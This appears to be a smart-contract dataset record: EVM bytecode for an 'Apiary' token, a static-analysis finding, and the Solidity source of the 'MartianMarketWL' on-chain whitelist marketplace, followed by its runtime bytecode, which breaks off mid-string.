0x606060405236156100ce576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806305d2035b146100d357806306fdde0314610100578063095ea7b31461018f57806318160ddd146101e957806323b872dd14610212578063313ce5671461028b57806340c10f19146102c057806370a082311461031a5780637d64bcb4146103675780638da5cb5b1461039457806395d89b41146103e9578063a9059cbb14610478578063dd62ed3e146104d2578063f2fde38b1461053e575b600080fd5b34156100de57600080fd5b6100e6610577565b604051808215151515815260200191505060405180910390f35b341561010b57600080fd5b61011361058a565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101545780820151818401525b602081019050610138565b50505050905090810190601f1680156101815780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561019a57600080fd5b6101cf600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506105c3565b604051808215151515815260200191505060405180910390f35b34156101f457600080fd5b6101fc61074b565b6040518082815260200191505060405180910390f35b341561021d57600080fd5b610271600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610751565b604051808215151515815260200191505060405180910390f35b341561029657600080fd5b61029e610a02565b604051808263ffffffff1663ffffffff16815260200191505060405180910390f35b34156102cb57600080fd5b610300600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610a07565b604051808215151515815260200191505060405180910390f35b341561032557600080fd5b610351600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610b8c565b6040518082815260200191505060405180910390f35b341561037257600080fd5b61037a610bd6565b604051808215151515815260200191505060405180910390f35b341561039f57600080fd5b6103a7610c84565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34156103f457600080fd5b6103fc610caa565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561043d5780820151818401525b602081019050610421565b50505050905090810190601f16801561046a5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561048357600080fd5b6104b8600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610ce3565b604051808215151515815260200191505060405180910390f35b34156104dd57600080fd5b610528600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610e7f565b6040518082815260200191505060405180910390f35b341561054957600080fd5b610575600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610f07565b005b600360149054906101000a900460ff1681565b6040805190810160405280600681526020017f417069617279000000000000000000000000000000000000000000000000000081525081565b60008082148061064f57506000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054145b151561065a57600080fd5b81600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a3600190505b92915050565b60005481565b600080600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905061082583600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610fe590919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506108ba83600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461100490919063ffffffff16565b600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610910838261100490919063ffffffff16565b600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3600191505b509392505050565b601281565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610a6557600080fd5b600360149054906101000a900460ff16151515610a8157600080fd5b610a9682600054610fe590919063ffffffff16565b600081905550610aee82600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610fe590919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff167f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d4121396885836040518082815260200191505060405180910390a2600190505b5b5b92915050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490505b919050565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610c3457600080fd5b6001600360146101000a81548160ff0219169083151502179055507fae5184fba832cb2b1f702aca6117b8d265eaf03ad33eb133f19dde0f5920fa0860405160405180910390a1600190505b5b90565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6040805190810160405280600381526020017f415049000000000000000000000000000000000000000000000000000000000081525081565b6000610d3782600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461100490919063ffffffff16565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610dcc82600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610fe590919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190505b92915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490505b92915050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610f6357600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515610f9f57600080fd5b80600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b5b50565b6000808284019050838110151515610ff957fe5b8091505b5092915050565b600082821115151561101257fe5b81830390505b929150505600a165627a7a723058203ad3373b56ab7b6bbcad2f18b8d7064c9d750e205a75bcff447d0999368a77650029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 5,916 |
0x8f239cbf8fceb87a20a4d1933f2f048fca2eb6df
|
//SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/////////////////////////////////////////////////////////////////////////
// __ ___ __ _ __ ___ __ __ //
// / |/ /__ _____/ /_(_)__ ____ / |/ /__ _____/ /_____ / /_ //
// / /|_/ / _ `/ __/ __/ / _ `/ _ \ / /|_/ / _ `/ __/ '_/ -_) __/ //
// /_/ /_/\_,_/_/ \__/_/\_,_/_//_/ /_/ /_/\_,_/_/ /_/\_\\__/\__/ //
// by 0xInuarashi.eth //
/////////////////////////////////////////////////////////////////////////
/*
Martian Market by 0xInuarashi for Message to Martians (Martians)
A Fully functioning on-chain CMS system that can be tapped into front-ends
and create a responsive website based on contract-specific databases.
** THIS IS A DECENTRALIZED AND TRUSTLESS WHITELIST MARKETPLACE CREATION SYSTEM **
We chose not to use a proxy contract as multiple approvals have to be done
for this contract. In this case, we chose the most decentralized approach
which is to create an immutable contract with minimal owner access and
allow full control of contract owners' functions over their own database,
which is not editable or tamperable even by the Ownable owner themself.
>>>> User Access <<<<
For authorized controllers:
Authorized controllers are able to:
- Create WL Vending Items
- Modify WL Vending Items
For ERC20 contract owners:
Contract Owners are able to:
- Register Project Info
- Set Treasury Address
- Manage Authorized Controllers
- Add WL Vending Items
- Modify WL Vending Items
- Delete WL Vending Items
>>>> Interfacing <<<<<
To draw a front-end interface:
getAllEnabledContracts() - Enumerate all available contracts for selection
(for contract-specific front-end interfaces, just pull data from your
contract only)
getWLVendingItemsAll(address contract_) - Enumerate all vending items
available for the contract. Supports over 1000 items in 1 call but
if you get gas errors, use a pagination method instead.
Pagination method:
getWLVendingItemsPaginated(address contract_, uint256 start_, uint256 end_)
for the start_, generally you can use 0, and for end_, inquire from function
getWLVendingItemsLength(address contract_)
For interaction of users:
purchaseWLVendingItem(address contract_, uint256 index_) can be used
and automatically populated to the correct buttons for each WLVendingItem
for that, an ethers.js call is invoked for the user to call the function
which will transfer their ERC20 token and add them to the purchasers list
For administration:
setTreasuryAddress(address contract_, address treasury_) can only be set
by the contract owner. For this, they are able to set where the ERC20 tokens
from the whitelist marketplace sales go to. By default, this is 0x...dead
effectively burning the tokens
addWLVendingItem(address contract_, string calldata title_,
string calldata imageUri_, string calldata projectUri_,
string calldata description_, uint32 amountAvailable_, uint32 deadline_,
uint256 price_) is used to create a new WLVendingItem for your contract
with the details as the input arguments stated.
modifyWLVendingItem(address contract_, uint256 index_,
WLVendingItem memory WLVendingItem_) lets you modify a WLVendingItem.
You have to pass in a tuple instead. Only use when necessary. Not
recommended to use.
deleteMostRecentWLVendingItem(address contract_) we use a .pop() for this so
it can only delete the most recent item. For some mistakes that you made and
want to erase them.
manageController(address contract_, address operator_, bool bool_) is a special
governance function which allows you to add controllers to the contract
to do actions on your behalf.
*/
abstract contract Ownable {
address public owner;
constructor() { owner = msg.sender; }
modifier onlyOwner { require(owner == msg.sender, "Not Owner!"); _; }
function transferOwnership(address new_) external onlyOwner { owner = new_; }
}
interface IERC20 {
function owner() external view returns (address);
function balanceOf(address address_) external view returns (uint256);
function transferFrom(address from_, address to_, uint256 amount_) external;
}
contract MartianMarketWL is Ownable {
// Governance
IERC20 public MES = IERC20(0x3C2Eb40D25a4b2B5A068a959a40d57D63Dc98B95);
function setMES(address address_) external onlyOwner {
MES = IERC20(address_);
}
// Setting the Governor
address public governorAddress;
address public registrationCollector;
constructor() {
governorAddress = msg.sender;
registrationCollector = address(this);
}
uint256 public registrationPrice = 2000 ether; // 2000 $MES
// Registry Fee Collector
function withdrawMESfromContract(address receiver_) external onlyOwner {
MES.transferFrom(address(this), receiver_, MES.balanceOf(address(this)));
}
function setRegistrationCollector(address collector_) external onlyOwner {
registrationCollector = collector_;
}
// Governance Setup
function setGovernorAddress(address governor_) external onlyOwner {
governorAddress = governor_;
}
modifier onlyGovernor {
require(msg.sender == governorAddress,
"You are not the contract governor!");
_;
}
function setRegistrationPrice(uint256 price_) external onlyOwner {
registrationPrice = price_;
}
// Here be the core logic of WL Vending //
struct ProjectInfo {
string projectName;
string tokenImageUri;
}
// Note: Add UNIX timestamp deadline (for active/past)
struct WLVendingItem {
string title;
string imageUri;
string projectUri;
string description;
uint32 amountAvailable;
uint32 amountPurchased;
uint32 deadline;
uint256 price;
}
// Database of Project Info for ERC20
mapping(address => ProjectInfo) public contractToProjectInfo;
// Database of Vending Items for each ERC20
mapping(address => WLVendingItem[]) public contractToWLVendingItems;
// Database of Vending Items Purchasers for each ERC20
mapping(address => mapping(uint256 => address[])) public contractToWLPurchasers;
mapping(address => mapping(uint256 => mapping(address => bool))) public
contractToWLPurchased;
function getWLPurchasersOf(address contract_, uint256 index_) external view
returns (address[] memory) {
return contractToWLPurchasers[contract_][index_];
}
// Database for Authorized Controllers of each ERC20 Contract
mapping(address => mapping(address => bool)) public contractToControllersApproved;
// Database for Receiver wallet of Project
address internal burnAddress = 0x000000000000000000000000000000000000dEaD;
mapping(address => address) public contractToTreasuryAddress;
function _getTreasury(address contract_) internal view returns (address) {
return contractToTreasuryAddress[contract_] != address(0) ?
contractToTreasuryAddress[contract_] : burnAddress;
}
// Database Entry for Project Infos
function ownerSetContractToProjectInfo(address contract_, string calldata
projectName_, string calldata tokenImage_) external onlyOwner {
contractToProjectInfo[contract_] = ProjectInfo(projectName_, tokenImage_);
emit ProjectInfoPushed(contract_, msg.sender, projectName_, tokenImage_);
}
function registerProjectInfo(address contract_, string calldata projectName_,
string calldata tokenImage_) external onlyContractOwner(contract_) {
contractToProjectInfo[contract_] = ProjectInfo(projectName_, tokenImage_);
emit ProjectInfoPushed(contract_, msg.sender, projectName_, tokenImage_);
}
// Database Entry for Enabled Addresses + Enumeration System //
mapping(address => bool) public contractToEnabled;
// Enumeration Tools
address[] public enabledContracts;
mapping(address => uint256) public enabledContractsIndex;
function getAllEnabledContracts() external view returns (address[] memory) {
return enabledContracts;
}
function _addContractToEnum(address contract_) internal {
enabledContractsIndex[contract_] = enabledContracts.length;
enabledContracts.push(contract_);
}
function _removeContractFromEnum(address contract_) internal {
uint256 _lastIndex = enabledContracts.length - 1;
uint256 _currentIndex = enabledContractsIndex[contract_];
// If the contract is not the last contract in the array
if (_currentIndex != _lastIndex) {
// Replace the to-be-deleted address with the last address
address _lastAddress = enabledContracts[_lastIndex];
enabledContracts[_currentIndex] = _lastAddress;
}
// Remove the last item
enabledContracts.pop();
// Delete the index
delete enabledContractsIndex[contract_];
}
// Database Entry Tools
function ownerSetContractToVending(address contract_, bool bool_) external
onlyOwner {
require(contractToEnabled[contract_] != bool_,
"Contract Already Set as Boolean!");
// Enum Tracking on bool_ statement
contractToEnabled[contract_] = bool_;
bool_ ? _addContractToEnum(contract_) : _removeContractFromEnum(contract_);
emit ContractAdministered(contract_, msg.sender, bool_);
}
// Contract Registry
function registerContractToVending(address contract_) external {
require(msg.sender == IERC20(contract_).owner(),
"You are not the Contract Owner!");
require(!contractToEnabled[contract_],
"Your contract has already been registered!");
require(MES.balanceOf(msg.sender) > registrationPrice,
"You don't have enough $MES!");
MES.transferFrom(msg.sender, registrationCollector, registrationPrice);
contractToEnabled[contract_] = true;
_addContractToEnum(contract_);
emit ContractRegistered(contract_, msg.sender, registrationPrice);
}
// Modifier of Authorization to Administrative Functions
modifier onlyContractOwner (address contract_) {
require(msg.sender == IERC20(contract_).owner(),
"You are not the Contract Owner!");
require(contractToEnabled[contract_],
"Please register your Contract first!");
_;
}
modifier onlyAuthorized (address contract_, address operator_) {
require(contractToControllersApproved[contract_][operator_]
|| msg.sender == IERC20(contract_).owner(),
"You are not Authorized for this ERC20 Contract!");
_;
}
// Events
event TreasuryManaged(address indexed contract_, address treasury_);
event OperatorManaged(address indexed contract_, address operator_, bool bool_);
event WLVendingItemAdded(address indexed contract_, string title_, string imageUri_,
string projectUri_, string description_, uint32 amountAvailable_,
uint32 deadline_, uint256 price_);
event WLVendingItemRemoved(address indexed contract_, address operator_,
WLVendingItem item_);
event WLVendingItemPurchased(address indexed contract_, uint256 index_,
address buyer_, WLVendingItem item_);
event ContractRegistered(address indexed contract_, address registerer_,
uint256 registrationPrice_);
event ContractAdministered(address indexed contract_, address registerer_,
bool bool_);
event ProjectInfoPushed(address indexed contract_, address registerer_,
string projectName_, string tokenImage_);
event WLVendingItemModified(address indexed contract_, WLVendingItem before_,
WLVendingItem after_);
// Core Functions of WL Vending (Admin)
function setTreasuryAddress(address contract_, address treasury_) external
onlyContractOwner(contract_) {
contractToTreasuryAddress[contract_] = treasury_;
emit TreasuryManaged(contract_, treasury_);
}
function manageController(address contract_, address operator_, bool bool_)
external onlyContractOwner(contract_) {
contractToControllersApproved[contract_][operator_] = bool_;
emit OperatorManaged(contract_, operator_, bool_);
}
function addWLVendingItem(address contract_, string calldata title_,
string calldata imageUri_, string calldata projectUri_,
string calldata description_, uint32 amountAvailable_,
uint32 deadline_, uint256 price_) external
onlyAuthorized(contract_, msg.sender) {
require(bytes(title_).length > 0,
"You must specify a Title!");
require(uint256(deadline_) > block.timestamp,
"Already expired timestamp!");
contractToWLVendingItems[contract_].push(
WLVendingItem(
title_,
imageUri_,
projectUri_,
description_,
amountAvailable_,
0,
deadline_,
price_
)
);
emit WLVendingItemAdded(contract_, title_, imageUri_, projectUri_, description_,
amountAvailable_, deadline_, price_);
}
function modifyWLVendingItem(address contract_, uint256 index_,
WLVendingItem memory WLVendingItem_) external
onlyAuthorized(contract_, msg.sender) {
WLVendingItem memory _item = contractToWLVendingItems[contract_][index_];
require(bytes(_item.title).length > 0,
"This WLVendingItem does not exist!");
require(WLVendingItem_.amountAvailable >= _item.amountPurchased,
"Amount Available must be >= Amount Purchased!");
contractToWLVendingItems[contract_][index_] = WLVendingItem_;
emit WLVendingItemModified(contract_, _item, WLVendingItem_);
}
function deleteMostRecentWLVendingItem(address contract_) external
onlyAuthorized(contract_, msg.sender) {
uint256 _lastIndex = contractToWLVendingItems[contract_].length - 1;
WLVendingItem memory _item = contractToWLVendingItems[contract_][_lastIndex];
require(_item.amountPurchased == 0,
"Cannot delete item with already bought goods!");
contractToWLVendingItems[contract_].pop();
emit WLVendingItemRemoved(contract_, msg.sender, _item);
}
// Core Function of WL Vending (User)
function purchaseWLVendingItem(address contract_, uint256 index_) external {
// Load the WLVendingItem to Memory
WLVendingItem memory _item = contractToWLVendingItems[contract_][index_];
// Check the necessary requirements to purchase
require(bytes(_item.title).length > 0,
"This WLVendingItem does not exist!");
require(_item.amountAvailable > _item.amountPurchased,
"No more WL remaining!");
require(_item.deadline > block.timestamp,
"Passed deadline!");
require(!contractToWLPurchased[contract_][index_][msg.sender],
"Already purchased!");
require(IERC20(contract_).balanceOf(msg.sender) > _item.price,
"Not enough tokens!");
// Pay for the WL
IERC20(contract_).transferFrom(
msg.sender, _getTreasury(contract_), _item.price);
// Add the address into the WL List
contractToWLPurchased[contract_][index_][msg.sender] = true;
contractToWLPurchasers[contract_][index_].push(msg.sender);
// Increment Amount Purchased
contractToWLVendingItems[contract_][index_].amountPurchased++;
emit WLVendingItemPurchased(contract_, index_, msg.sender, _item);
}
// Here be the core logic of CMS html element generation //
function getWLVendingItemsAll(address contract_) external view
returns (WLVendingItem[] memory) {
return contractToWLVendingItems[contract_];
}
function getWLVendingItemsLength(address contract_) external view
returns (uint256) {
return contractToWLVendingItems[contract_].length;
}
function getWLVendingItemsPaginated(address contract_, uint256 start_, uint256 end_)
external view returns (WLVendingItem[] memory) {
uint256 _arrayLength = end_ - start_ + 1;
WLVendingItem[] memory _items = new WLVendingItem[] (_arrayLength);
uint256 _index;
for (uint256 i = 0; i < _arrayLength; i++) {
_items[_index++] = contractToWLVendingItems[contract_][start_ + i];
}
return _items;
}
}
|
0x608060405234801561001057600080fd5b50600436106102115760003560e01c806382f9c46511610125578063ba17a3b4116100ad578063e25cf2191161007c578063e25cf21914610539578063e2d979341461054c578063e414f3041461055f578063f2fde38b14610572578063fa8775ec1461058557600080fd5b8063ba17a3b4146104d7578063c232315f146104ea578063d026da3014610513578063e01174411461052657600080fd5b8063a05cb99e116100f4578063a05cb99e14610469578063a13e2fed14610471578063a688075014610491578063b2dd6af0146104a4578063b8472316146104c457600080fd5b806382f9c465146104075780638da5cb5b1461041a57806391ce8e2f1461042d57806392587fed1461045657600080fd5b8063276f1c41116101a85780634d7037dd116101775780634d7037dd1461037957806355fec15d146103995780635c952b58146103ba5780635d3e5d5f146103e1578063803fc140146103f457600080fd5b8063276f1c411461032d57806339ae67201461034057806347ba83ac146103535780634a4332251461036657600080fd5b80631197705e116101e45780631197705e146102cd5780631309be40146102e057806321658658146102f3578063267caabb1461030a57600080fd5b8063035006411461021657806304e565c91461024657806309aadab2146102845780630d4e41f914610299575b600080fd5b610229610224366004613a83565b610598565b6040516001600160a01b0390911681526020015b60405180910390f35b61027461025436600461368f565b600960209081526000928352604080842090915290825290205460ff1681565b604051901515815260200161023d565b610297610292366004613744565b6105dd565b005b6102746102a736600461390c565b600860209081526000938452604080852082529284528284209052825290205460ff1681565b6102976102db36600461364e565b610722565b6102976102ee36600461370f565b61076e565b6102fc60045481565b60405190815260200161023d565b61027461031836600461364e565b600c6020526000908152604090205460ff1681565b600254610229906001600160a01b031681565b61029761034e36600461364e565b610890565b6102976103613660046136c8565b6109ab565b61029761037436600461364e565b610af9565b61038c6103873660046138e0565b610dcf565b60405161023d9190613c93565b6103ac6103a736600461364e565b610e4e565b60405161023d929190613daf565b6103cd6103c83660046138e0565b610f7a565b60405161023d989796959493929190613ddd565b6102976103ef36600461394e565b61120f565b6102976104023660046137c7565b61179c565b61029761041536600461364e565b611bc2565b600054610229906001600160a01b031681565b61022961043b36600461364e565b600b602052600090815260409020546001600160a01b031681565b610297610464366004613744565b611c0e565b61038c611deb565b6102fc61047f36600461364e565b600e6020526000908152604090205481565b61029761049f36600461364e565b611e4d565b6104b76104b2366004613a83565b611e99565b60405161023d9190613cd4565b600354610229906001600160a01b031681565b6102976104e53660046138e0565b61227d565b6102fc6104f836600461364e565b6001600160a01b031660009081526006602052604090205490565b610229610521366004613ab8565b6128e3565b610297610534366004613ab8565b61290d565b61029761054736600461364e565b61293c565b600154610229906001600160a01b031681565b6104b761056d36600461364e565b612e3b565b61029761058036600461364e565b613137565b61029761059336600461368f565b613183565b600760205282600052604060002060205281600052604060002081815481106105c057600080fd5b6000918252602090912001546001600160a01b0316925083915050565b6000546001600160a01b031633146106105760405162461bcd60e51b815260040161060790613e5c565b60405180910390fd5b6040805160606020601f87018190040282018101835291810185815290918291908790879081908501838280828437600092019190915250505090825250604080516020601f86018190048102820181019092528481529181019190859085908190840183828082843760009201829052509390945250506001600160a01b0388168152600560209081526040909120835180519193506106b592849291019061346e565b5060208281015180516106ce926001850192019061346e565b50905050846001600160a01b03167f25fdbc222e090858cc121aef55da11cf44faaf595ca940f31cb371ddbe1b6d823386868686604051610713959493929190613c23565b60405180910390a25050505050565b6000546001600160a01b0316331461074c5760405162461bcd60e51b815260040161060790613e5c565b600280546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b031633146107985760405162461bcd60e51b815260040161060790613e5c565b6001600160a01b0382166000908152600c602052604090205460ff16151581151514156108075760405162461bcd60e51b815260206004820181905260248201527f436f6e747261637420416c72656164792053657420617320426f6f6c65616e216044820152606401610607565b6001600160a01b0382166000908152600c60205260409020805460ff19168215151790558061083e57610839826132bd565b610847565b610847826133b9565b6040805133815282151560208201526001600160a01b038416917f95672512364892dc5eac723d03b303897847c21af452724bffc2f62d18778b14910160405180910390a25050565b6000546001600160a01b031633146108ba5760405162461bcd60e51b815260040161060790613e5c565b6001546040516370a0823160e01b815230600482018190526001600160a01b03909216916323b872dd91849084906370a082319060240160206040518083038186803b15801561090957600080fd5b505afa15801561091d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109419190613ad1565b6040516001600160e01b031960e086901b1681526001600160a01b0393841660048201529290911660248301526044820152606401600060405180830381600087803b15801561099057600080fd5b505af11580156109a4573d6000803e3d6000fd5b5050505050565b82806001600160a01b0316638da5cb5b6040518163ffffffff1660e01b815260040160206040518083038186803b1580156109e557600080fd5b505afa1580156109f9573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a1d9190613672565b6001600160a01b0316336001600160a01b031614610a4d5760405162461bcd60e51b815260040161060790613f06565b6001600160a01b0381166000908152600c602052604090205460ff16610a855760405162461bcd60e51b815260040161060790613e80565b6001600160a01b03848116600081815260096020908152604080832094881680845294825291829020805460ff191687151590811790915582519485529084015290917f497c860693ee48ca4920e55d08ac4ba08d719ae9e1883db046133620ce194df4910160405180910390a250505050565b806001600160a01b0316638da5cb5b6040518163ffffffff1660e01b815260040160206040518083038186803b158015610b3257600080fd5b505afa158015610b46573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b6a9190613672565b6001600160a01b0316336001600160a01b031614610b9a5760405162461bcd60e51b815260040161060790613f06565b6001600160a01b0381166000908152600c602052604090205460ff1615610c165760405162461bcd60e51b815260206004820152602a60248201527f596f757220636f6e74726163742068617320616c7265616479206265656e20726044820152696567697374657265642160b01b6064820152608401610607565b600480546001546040516370a0823160e01b8152339381019390935290916001600160a01b03909116906370a082319060240160206040518083038186803b158015610c6157600080fd5b505afa158015610c75573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c999190613ad1565b11610ce65760405162461bcd60e51b815260206004820152601b60248201527f596f7520646f6e2774206861766520656e6f75676820244d45532100000000006044820152606401610607565b600154600354600480546040516323b872dd60e01b815233928101929092526001600160a01b03928316602483015260448201529116906323b872dd90606401600060405180830381600087803b158015610d4057600080fd5b505af1158015610d54573d6000803e3d6000fd5b5050506001600160a01b0382166000908152600c60205260409020805460ff1916600117905550610d84816133b9565b6004546040805133815260208101929092526001600160a01b038316917ff324ec9e65c6849640d47b8d287a652b8287a533bcf80092a857f3e02b0fcbcc910160405180910390a250565b6001600160a01b0382166000908152600760209081526040808320848452825291829020805483518184028101840190945280845260609392830182828015610e4157602002820191906000526020600020905b81546001600160a01b03168152600190910190602001808311610e23575b5050505050905092915050565b600560205260009081526040902080548190610e6990614034565b80601f0160208091040260200160405190810160405280929190818152602001828054610e9590614034565b8015610ee25780601f10610eb757610100808354040283529160200191610ee2565b820191906000526020600020905b815481529060010190602001808311610ec557829003601f168201915b505050505090806001018054610ef790614034565b80601f0160208091040260200160405190810160405280929190818152602001828054610f2390614034565b8015610f705780601f10610f4557610100808354040283529160200191610f70565b820191906000526020600020905b815481529060010190602001808311610f5357829003601f168201915b5050505050905082565b60066020528160005260406000208181548110610f9657600080fd5b906000526020600020906006020160009150915050806000018054610fba90614034565b80601f0160208091040260200160405190810160405280929190818152602001828054610fe690614034565b80156110335780601f1061100857610100808354040283529160200191611033565b820191906000526020600020905b81548152906001019060200180831161101657829003601f168201915b50505050509080600101805461104890614034565b80601f016020809104026020016040519081016040528092919081815260200182805461107490614034565b80156110c15780601f10611096576101008083540402835291602001916110c1565b820191906000526020600020905b8154815290600101906020018083116110a457829003601f168201915b5050505050908060020180546110d690614034565b80601f016020809104026020016040519081016040528092919081815260200182805461110290614034565b801561114f5780601f106111245761010080835404028352916020019161114f565b820191906000526020600020905b81548152906001019060200180831161113257829003601f168201915b50505050509080600301805461116490614034565b80601f016020809104026020016040519081016040528092919081815260200182805461119090614034565b80156111dd5780601f106111b2576101008083540402835291602001916111dd565b820191906000526020600020905b8154815290600101906020018083116111c057829003601f168201915b5050506004840154600590940154929363ffffffff80821694600160201b830482169450600160401b90920416915088565b6001600160a01b03831660009081526009602090815260408083203380855292529091205484919060ff16806112c65750816001600160a01b0316638da5cb5b6040518163ffffffff1660e01b815260040160206040518083038186803b15801561127957600080fd5b505afa15801561128d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112b19190613672565b6001600160a01b0316336001600160a01b0316145b6112e25760405162461bcd60e51b815260040161060790613f3d565b6001600160a01b038516600090815260066020526040812080548690811061130c5761130c6140da565b90600052602060002090600602016040518061010001604052908160008201805461133690614034565b80601f016020809104026020016040519081016040528092919081815260200182805461136290614034565b80156113af5780601f10611384576101008083540402835291602001916113af565b820191906000526020600020905b81548152906001019060200180831161139257829003601f168201915b505050505081526020016001820180546113c890614034565b80601f01602080910402602001604051908101604052809291908181526020018280546113f490614034565b80156114415780601f1061141657610100808354040283529160200191611441565b820191906000526020600020905b81548152906001019060200180831161142457829003601f168201915b5050505050815260200160028201805461145a90614034565b80601f016020809104026020016040519081016040528092919081815260200182805461148690614034565b80156114d35780601f106114a8576101008083540402835291602001916114d3565b820191906000526020600020905b8154815290600101906020018083116114b657829003601f168201915b505050505081526020016003820180546114ec90614034565b80601f016020809104026020016040519081016040528092919081815260200182805461151890614034565b80156115655780601f1061153a57610100808354040283529160200191611565565b820191906000526020600020905b81548152906001019060200180831161154857829003601f168201915b5050509183525050600482015463ffffffff8082166020840152600160201b820481166040840152600160401b9091041660608201526005909101546080909101528051519091506115c95760405162461bcd60e51b815260040161060790613ec4565b8060a0015163ffffffff16846080015163ffffffff1610156116435760405162461bcd60e51b815260206004820152602d60248201527f416d6f756e7420417661696c61626c65206d757374206265203e3d20416d6f7560448201526c6e74205075726368617365642160981b6064820152608401610607565b6001600160a01b0386166000908152600660205260409020805485919087908110611670576116706140da565b9060005260206000209060060201600082015181600001908051906020019061169a92919061346e565b5060208281015180516116b3926001850192019061346e565b50604082015180516116cf91600284019160209091019061346e565b50606082015180516116eb91600384019160209091019061346e565b50608082015160048201805460a085015160c086015163ffffffff908116600160401b026bffffffff000000000000000019928216600160201b0267ffffffffffffffff199094169190951617919091171691909117905560e0909101516005909101556040516001600160a01b038716907ff8154fb605f92c0cedb89c9080be140831abaa604eab2891a7b4e112f74ff9fc9061178c9084908890613f8c565b60405180910390a2505050505050565b6001600160a01b038c166000908152600960209081526040808320338085529252909120548d919060ff16806118535750816001600160a01b0316638da5cb5b6040518163ffffffff1660e01b815260040160206040518083038186803b15801561180657600080fd5b505afa15801561181a573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101